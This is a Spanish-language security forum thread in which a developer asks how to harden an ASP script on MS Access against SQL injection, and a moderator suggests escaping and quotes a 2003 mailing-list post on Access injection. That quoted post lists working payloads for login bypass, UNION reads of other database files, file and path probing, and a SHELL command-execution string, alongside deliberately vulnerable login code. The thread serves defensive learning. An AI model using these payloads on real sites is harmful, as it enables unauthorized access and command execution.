elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [Sql Injection] ¿Convertir Carácter a hexadecimal?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Sql Injection] ¿Convertir Carácter a hexadecimal?  (Leído 6,171 veces)
ZaPa

Desconectado Desconectado

Mensajes: 36


Ver Perfil
[Sql Injection] ¿Convertir Carácter a hexadecimal?
« en: 17 Abril 2010, 01:27 am »

Hola.

Queria hacerles una pregunta.... ya qué, estoy terminando un pequeño script en asp y me interesa bastante asegurarlo al máximo. Lo único que he hecho para evitar un sql injection es filtrar el carácter (') y la palabra (Select).

Creo haber leido algunos documentos donde decian que se podian saltar estos "filtros" pasando el valor que queremos lograr inyectar en hexadecimal.

Me gustaria saber como es posible hacer esto ya qué estoy probando insertando los códigos hexadecimal a pelo (y como es obvio no funciona).
¿Debo de utilizar alguna función para que él mismo haga la conversión de hex a ascii y se trage la inyección?
Si es asi... ¿Que función puedo utilizar en asp?


Muchas gracias.
Un saludazo.


EDITO:

Debo añadir que tambien he filtrado la palabra clave 'char' para evitar pasar de hex a char, de esta forma con cast():

Código:
CAST(0x53656c656374 AS CHAR (4000))

Al detectar la palabra char, el script se detiene.


¿Ahi alguna otra forma con la que puedan vulnerar mi script?

Saludos.

« Última modificación: 17 Abril 2010, 01:38 am por ZaPa » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [Sql Injection] ¿Convertir Carácter a hexadecimal?
« Respuesta #1 en: 17 Abril 2010, 01:44 am »

y que tal si necesitas ingresar en la base de datos un texto que contenga comillas? se omitirán?
usa backslashses y encierra los strings en comillas dobles.

en mssql no se como funcionan los carácteres de escape a diferencia de mysql pero puedes filtrar % \x00 ' "
en php el filtro musql_real_escape_string() se comporta masomenos así:
Citar
mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

Te recomiendo siempre optar no por la eliminación de carácteres sino por el buén funcionamiento adecuado, o sea, si yo quiero escribir <%hola's%> en la base de datos debo poder hacerlo.

los valores hexa en mssql son atraves de la funcion convert()
Convert(int, 0x0102030405a1a2a3a4a5)
En línea

ZaPa

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: [Sql Injection] ¿Convertir Carácter a hexadecimal?
« Respuesta #2 en: 17 Abril 2010, 02:34 am »

Hola WHQ y muchas gracias por tu respuesta...

¿Es posible que el hosting donde aloje mi web no tenga activada la función convert?

Código:
Microsoft JET Database Engine error '80040e14'

Undefined function 'convert' in expression.


¿Pueden atacar de alguna otra forma?

Debo añadir que estoy trabajando bajo una base de datos Acces como podeis observar arriba "Microsoft JET Database"

Saludos.
« Última modificación: 17 Abril 2010, 02:36 am por ZaPa » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [Sql Injection] ¿Convertir Carácter a hexadecimal?
« Respuesta #3 en: 17 Abril 2010, 07:53 am »

aaah es access, porque no usas mssql o sqlite?

talves este documento te pueda ayudar:
http://seclists.org/pen-test/2003/May/74

Citar
Access SQL Injection From: "Brett Moore" <brett.moore () security-assessment com>
Date: Mon, 19 May 2003 16:25:24 +1200

============================================================================
% Access SQL Injection
% brett.moore () security-assessment com
============================================================================

Nothing new here, move along..

****************************************************************************
% MS Access system tables
****************************************************************************
        MSysACEs
        MSysObjects
        MSysQueries
        MSysRelationships

****************************************************************************
% MS Access command execution, (older versions only)
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if

[Auth Page Bypass]

        user = |SHELL("cmd.exe /c dir > c:\test.txt")|
        pass = test

****************************************************************************
% Auth Bypass, Basic
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if

[Auth Page Bypass]

        user = ' or '1'='1
        pass = test

****************************************************************************
% Auth Bypass, Simple
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT user,pass FROM users where user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                if (rs("pass") = pass) then
                        ' Access Allowed
                else
                        ' Access Denied
                end if
        end if

[Auth Page Bypass Using Shares]

        user = ' union select name,password  from table1 in '\\share\test\test.mdb
        pass = password that is set in \\share\test\test.mdb

[Auth Page Bypass Local mdbs]

        user = ' union select '0test','0test' from customers in
'C:\winnt\Help\iisHelp\iis\htm\tutorial\eecustmr.mdb'
        pass = 0test

[Union Notes]

        Remeber when using unions the sort order can affect the first record
returned.

****************************************************************************
% System Path Disclosure
****************************************************************************
[Sql String]
        user = test' union select names from msysobjects in '.

[ODBC Response]

        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine
cannot
        open the file 'C:\WINNT\system32'. It is already opened exclusively by
another user,
        or you need permission to view its data.

****************************************************************************
% Verify File Exists
****************************************************************************
[Sql String - non-existant file]
        user = test' union select name from msysobjects in '\proof

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\proof'.

[Sql String - existant]
        user = test' union select name from msysobjects in '\proof.txt

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Unrecognized database format
'C:\proof.txt'.

****************************************************************************
% Verify Path Exists
****************************************************************************
[Sql String - non-existant path]
        test' union select name from msysobjects in '\nopath\sqlerr

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] 'C:\nopath\sqlerr' is not a valid
path.
        Make sure that the path name is spelled correctly and that you are
connected to the
        server on which the file resides.

[Sql String - existant path]
        user = test' union select name from msysobjects in '\inetpub\sqlerr

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Could not find file
'C:\inetpub\sqlerr'.



---------------------------------------------------------------------------
*** Wireless LAN Policies for Security & Management - NEW White Paper ***
Just like wired networks, wireless LANs require network security policies
that are enforced to protect WLANs from known vulnerabilities and threats.
Learn to design, implement and enforce WLAN security policies to lockdown enterprise WLANs.

To get your FREE white paper visit us at:   
http://www.securityfocus.com/AirDefense-pen-test
----------------------------------------------------------------------------

En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[C] Convertir caracter a decimal
Programación C/C++
m0rf 2 4,707 Último mensaje 7 Febrero 2012, 18:03 pm
por m0rf
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines